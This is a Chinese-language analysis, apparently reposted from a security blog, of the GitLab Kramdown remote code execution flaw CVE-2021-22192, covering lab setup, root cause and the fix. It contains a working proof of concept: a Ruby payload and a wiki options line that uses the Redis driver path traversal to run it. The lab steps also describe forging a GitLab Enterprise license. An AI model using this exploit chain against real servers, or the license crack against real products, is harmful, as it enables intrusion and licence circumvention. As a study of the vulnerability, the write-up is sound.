5

CVE-2021-22192 漏洞分析

 2 years ago
source link: https://exp-blog.com/safe/cve/cve-2021-22192-lou-dong-fen-xi/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0x10 漏洞背景

GitLab 是美国 GitLab 公司的一款使用 Ruby on Rails 开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug 列表等。

于 2021-03-14,William Bowling 在 hackerone 披露了 GitLab 的 Kramdown 组件存在 RCE 漏洞。

其实他在早前所披露的 CVE-2020-14001 漏洞与此漏洞如出一辙,只是当时没找到利用方法,当时的漏洞分析可参考以下链接:

0x20 漏洞靶场

CVE-2021-22192
├── README.md ............... [此 README 说明]
├── imgs .................... [辅助 README 说明的图片]
├── gitlab .................. [Gitlab 容器的挂载目录]
│   ├── Dockerfile .......... [Gitlab 的 Docker 构建文件]
│   ├── config .............. [Gitlab 配置挂载目录]
│   ├── data ................ [Gitlab 数据挂载目录]
│   ├── logs ................ [Gitlab 日志挂载目录]
│   ├── keys ................ [Gitlab 破解 License 存储目录]
│   └── nginx ............... [Gitlab 内置 nginx 配置目录(备份配置,勿改)]
├── runner .................. [Gitlab 容器的挂载目录]
├── license ................. [破解 License 的容器构建目录]
│   ├── Dockerfile .......... [License 的 Docker 构建文件]
│   └── license.rb .......... [生成破解 License 的 Ruby 脚本]
├── test .................... [Kramdown 调试目录]
├── docker-compose.yml ...... [Docker 的构建配置]
├── keygen.ps1 .............. [Windows: 一键生成破解 License]
├── keygen.sh ............... [Linux:   一键生成破解 License]
├── run.ps1 ................. [Windows: 一键运行 Gitlab 靶场]
├── run.sh .................. [Linux:   一键运行 Gitlab 靶场]
├── register.ps1 ............ [Windows: 一键注册 Runner]
├── register.sh ............. [Linux:   一键注册 Runner]
├── stop.ps1 ................ [Windows: 一键停止 Gitlab 靶场]
└── stop.sh ................. [Linux:   一键停止 Gitlab 靶场]

0x30 靶场搭建

0x31 构建

0x32 破解

前面生成破解密钥对的时候,已经把公钥写入 Gitlab 容器后台了,还需要把私钥通过前端上传到 Gitlab 完成破解:

  • 密钥对生成到 ./gitlab/keys/ 目录,复制其下 .gitlab-license 的内容(私钥)
  • 使用 root 用户打开 http://127.0.0.1/admin/license/new 页面
  • 选择 Enter license key 并粘贴私钥,点击 Upload license 按钮即可完成破解
01.png

0x33 设置 Runner

至此所有 Repository 都可以使用此 Runner 执行 CI 脚本(Pipeline Jobs)

02.png

0x34 访问 Gitlab Pages

假设你的 Gitlab 用户名为 ${username},仓库名称为 ${repository_name},当仓库已经使用 jekyll 成功构建 SSG 后,只需要访问以下 URL 即可:

http://127.0.0.1:8000/${username}/${repository_name}/public/

0x40 靶场验证

  1. 使用任意用户点击顶部的 + -> New snippet
  2. Title 随意填即可,点击 Description (optional) 的输入框,然后点击 Attach a file,上传一个名为 payload.rb 文件,其内容如下:
puts "hello from ruby"
`echo exp was here > /tmp/exp`

此时在 Description (optional) 会显示该文件的链接,例如:[payload.rb](/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb),同时文件已经上传到 docker_gitlab 容器的 /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb。(至于 Create snippet 可点可不点,只需要记住这个文件路径的 Hash 即可)

注意:不要通过某一个仓库左侧边栏的 Snippet -> New snippet,否则回显的文件路径会变成 [payload.rb](/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb),实际上上传到 docker_gitlab 容器的路径会变成 /var/opt/gitlab/gitlab-rails/uploads/@hash/随机字符串/payload.rb,由于中间有一段随机字符串,很难利用。

  1. 点击顶部的 + New Project,命名随意(如 poc,或不创建、用已存在的仓库亦可)
  2. 点击左侧 Wiki,然后点击 Create your first page
  3. TitleContent 随意填即可, 点击 Create page
  4. 此时 Gitlab 会生成当前 poc 仓库的 wiki 仓库,名为 poc.wiki(点击右上角的 Clone repository,可以找到 clone 命令: git clone http://127.0.0.1/root/poc.wiki.git)。
  5. 在本地终端执行命令 git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki 下载 wiki 仓库到本地
  6. 在 wiki 仓库的根目录添加一个名为 page1.rmd 的文件,其内容如下(注意文件路径中的 Hash 要替换为前面得到的 Hash):
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
  1. 执行命令提交该文件到 Gitlab: git add -A . && git commit -m "page1.rmd" && git push
  2. 回到前面 Gitlab Wiki 的页面,刷新,可以在右侧索引栏看到在本地创建的 page1 页面,点击它
  3. 等待页面回显内容后,登陆 docker_gitlab 容器,可以找到文件 /tmp/exp 已经被创建

点击 page1.rmd 页面后,其实可以在 gitlab/logs/gitlab-rails/exceptions_json.log 看到报错信息,但是这不影响命令已经被执行:

{
    "severity": "ERROR",
    "time": "2021-04-26T10:36:07.978Z",
    "correlation_id": "A24bByUP9L5",
    "tags.correlation_id": "A24bByUP9L5",
    "tags.locale": "en",
    "user.id": 1,
    "user.email": "[email protected]",
    "user.username": "root",
    "extra.project_id": 1,
    "extra.file_name": "page1.rmd",
    "exception.class": "NameError",
    "exception.message": "wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb",
    "exception.backtrace": [
        "lib/gitlab/other_markup.rb:11:in `render'",
        "app/helpers/markup_helper.rb:274:in `other_markup_unsafe'",
        "app/helpers/markup_helper.rb:153:in `markup_unsafe'",
        "app/helpers/markup_helper.rb:138:in `render_wiki_content'",
        "app/views/shared/wikis/show.html.haml:25",
        "app/controllers/application_controller.rb:134:in `render'",
        "app/controllers/concerns/wiki_actions.rb:68:in `show'",
        "ee/lib/gitlab/ip_address_state.rb:10:in `with'",
        "ee/app/controllers/ee/application_controller.rb:44:in `set_current_ip_address'",
        "app/controllers/application_controller.rb:491:in `set_current_admin'",
        "lib/gitlab/session.rb:11:in `with_session'",
        "app/controllers/application_controller.rb:482:in `set_session_storage'",
        "app/controllers/application_controller.rb:476:in `set_locale'",
        "lib/gitlab/error_tracking.rb:50:in `with_context'",
        "app/controllers/application_controller.rb:541:in `sentry_context'",
        "app/controllers/application_controller.rb:469:in `block in set_current_context'",
        "lib/gitlab/application_context.rb:52:in `block in use'",
        "lib/gitlab/application_context.rb:52:in `use'",
        "lib/gitlab/application_context.rb:20:in `with_context'",
        "app/controllers/application_controller.rb:462:in `set_current_context'",
        "ee/lib/gitlab/jira/middleware.rb:19:in `call'"
    ]
}

0x50 漏洞分析

0x51 表象

漏洞披露后,Gitlab 在 kramdown 修复之前,马上就发布了临时修复补丁:Patch Kramdown syntax highlighter gem

从内容上看,修复的内容并不多,主要针对 kramdown Gem 包的 Kramdown::Converter::SyntaxHighlighter 进行了临时修复,并声明在 Kramdown 修复后应去掉这个补丁。

很快地,Kramdown 也修复了这个问题:Restrict Rouge formatters to Rouge::Formatters namespace,升级版本为 2.3.1(版本说明)。

不难发现,只有一行代码被修复了:

# Before :
::Rouge::Formatters.const_get(formatter)

# After :
::Rouge::Formatters.const_get(formatter, false)

const_get 追加了第 2 个参数 false,其作用为限制只能在 Rouge::Formatters 下查找常量(不继承父类定义常量)。

const_get 是 ruby 类继承自 Object 的方法,其用法可参考这篇文章

0x52 推测

在官方修改的代码中,formatter 是唯一变量,由于是 RCE 漏洞,这应该是用户可控的输入点。

不妨从源码 kramdown-2.3.1/lib/kramdown/converter/syntax_highlighter/rouge.rb 跟踪分析一下:

    def self.formatter_class(opts = {})
      case formatter = opts[:formatter]
      when Class
        formatter
      when /\A[[:upper:]][[:alnum:]_]*\z/
        ::Rouge::Formatters.const_get(formatter, false)
      else
        # Available in Rouge 2.0 or later
        ::Rouge::Formatters::HTMLLegacy
      end
    rescue NameError
      # Fallback to Rouge 1.x
      ::Rouge::Formatters::HTML
    end

从源码可知,假如 formatter 真是用户可控的,那么就应该可能存在可以绕过正则 \A[[:upper:]][[:alnum:]_]*\z 的方法。

现在问题是 formatter 究竟是什么。

向上跟踪发现 formatter 源于 formatter_class 方法的入参 opt,而 formatter_class 在上下文有唯一的调用位置

    def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

很明显 formatter_class(opts).new(opts) 这里是把 opts 实例化了。联想到官方的漏洞修复公告 Remote code execution via unsafe user-controlled markdown rendering options, 此处实锤了就是用户控制点,通过构造特定的参数,就可以实现 RCE。

0X53 注入点

现在的问题是,应该在哪里注入 opts 呢?

继续分析源码 kramdown-2.3.1/lib/kramdown/converter/syntax_highlighter/rouge.rb 的上下文,发现有对 opts 做了预处理:

    def self.prepare_options(converter)
      return if converter.data.key?(:syntax_highlighter_rouge)

      cache = converter.data[:syntax_highlighter_rouge] = {}

      opts = converter.options[:syntax_highlighter_opts].dup

      span_opts = opts.delete(:span)&.dup || {}
      block_opts = opts.delete(:block)&.dup || {}
      normalize_keys(span_opts)
      normalize_keys(block_opts)

      cache[:span] = opts.merge(span_opts)
      cache[:span][:wrap] = false

      cache[:block] = opts.merge(block_opts)
    end

很明显 opts 是通过 syntax_highlighter_opts 从外部传入的。

联想到前面 Gitlab 的修复补丁 Patch Kramdown syntax highlighter gem 中,官方很贴心地给了 rspec 的测试用例,从而得到了 syntax_highlighter_opts 的构造方法:

  context 'with invalid formatter' do
    let(:options) { %({::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\\}" /}) }

    it 'falls back to standard HTML and disallows CSV' do
      expect(CSV).not_to receive(:new)
      expect(::Rouge::Formatters::HTML).to receive(:new).and_call_original

      expect(subject).to be_present
    end
  end

进一步查找 kramdown 关于 Options 的使用说明,其中有这样的描述:

03.png

其意思就是,可以在 markdown 文档中,通过构造 {::options ...... /} 这种特殊语法,可以设置 options(例如 syntax_highlighter_opts) 。而 kramdown 在转换 markdown 文档的时候,就会把 options 传入代码,通过巧妙构造就可以实现 RCE。

同时可以在 Gitlab 关于 markdown-guide 的说明中,找到 {::options ...... /} 的使用方法:

04.png

简单来说,就是只能在 markdown 文档的首行使用 {::options ...... /}

似乎找到了注入点了,但是要怎么利用呢?

0x60 漏洞利用

这里还是要回到漏洞修复前的源码 kramdown-2.1.3/lib/kramdown/converter/syntax_highlighter/rouge.rb 跟踪分析一下(此处只列了关键的几处代码):

    def self.call(converter, text, lang, type, call_opts)
      # 从 markdown 中提取 syntax_highlighter_opts,存储到 opts
      opts = options(converter, type)

      ......

      # 从 opts.formatter 提取类名,并将其实例化
      formatter = formatter_class(opts).new(opts)

      # 格式化某个内容
      formatter.format(lexer.lex(text))
    end

    def self.options(converter, type)
      prepare_options(converter)
      ......
    end

    def self.prepare_options(converter)
      ......
      opts = converter.options[:syntax_highlighter_opts].dup
      ......
    end

    def self.formatter_class(opts = {})
      case formatter = opts[:formatter]
      when Class
        formatter
      when /\A[[:upper:]][[:alnum:]_]*\z/
        ::Rouge::Formatters.const_get(formatter)
      else
        ::Rouge::Formatters::HTMLLegacy
      end
    rescue NameError
      ::Rouge::Formatters::HTML
    end

结合前面 rspec 测试用例提供的样本 {::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\\}" /},不难想象:

  • opts 应该就是形如 {formatter: CSV, line_numbers: true\\} 的值
  • 那么 formatter 就是形如 CSV 的值

而我们要成功利用漏洞,就需要找到一个 class ,使其满足以下条件:

  • 找到一个常量值、它同时也是一个类名,且其命名满足正则 \A[[:upper:]][[:alnum:]_]*\z (意思就是首字母大写、后面跟任意个字母或下划线)
  • 该类在实例化过程中(new(opts))、或者格式化过程中(format(lexer.lex(text))),可以执行用户某个输入内容

那么怎么找到这个 class 呢?

其实早在 William Bowling 披露 CVE-2020-14001 的时候(详见[《GitHub Pages - Multiple RCEs via insecure Kramdown configuration - $25,000 Bounty》]),他当时就提供了一个这样的脚本以获取 ruby 的类列表,从中再找到可以利用的 class:

require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }

methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
end

这也是为什么 William Bowling 时隔一年才披露 CVE-2021-22192 的原因,他肯定试了很多个 0day …… 至于过程的辛酸这里就不过多幻想了,下面的就是结果论了。


从实际 payload 来看,William Bowling 应该是发现了 Redis 这个类的 driver 是可以利用的:

{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~

我们不妨看一下 Redis 的 Gem 源码 redis-4.1.3/lib/redis/client.rb,该类在实例化 initialize 的时候会调用 _parse_options 方法解析用户输入的 options,而该方法又会调用 _parse_driver 解析 driver 参数:

    def initialize(options = {})
      @options = _parse_options(options)
      ......
    end

    def _parse_options(options)
      ......
      options[:driver] = _parse_driver(options[:driver]) || Connection.drivers.last
      ......
    end

    def _parse_driver(driver)
      driver = driver.to_s if driver.is_a?(Symbol)

      if driver.kind_of?(String)
        begin
          require_relative "connection/#{driver}"
        rescue LoadError, NameError => e
          begin
            require "connection/#{driver}"
          rescue LoadError, NameError => e
            raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
          end
        end

        driver = Connection.const_get(driver.capitalize)
      end

      driver
    end

由于 driver 参数值没有做任何校验,可以传入任意值,故而传入特定的文件路径,则可以加载任意文件。

从靶场测试结果来看,driver 指向了我们上传的一个 payload.rb 脚本,虽然 Redis 在业务逻辑上报错了,但是命令已经执行了。

0x70 漏洞修复

官方的补丁就是修复方法:

# Before :
::Rouge::Formatters.const_get(formatter)

# After :
::Rouge::Formatters.const_get(formatter, false)

通过显示指定 const_get 的第二个参数为 false,限制常量的查找范围必须在 Rouge::Formatters 的命名空间下,从而避免其他命名空间的类在此处被恶意实例化(而触发非期望行为)。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK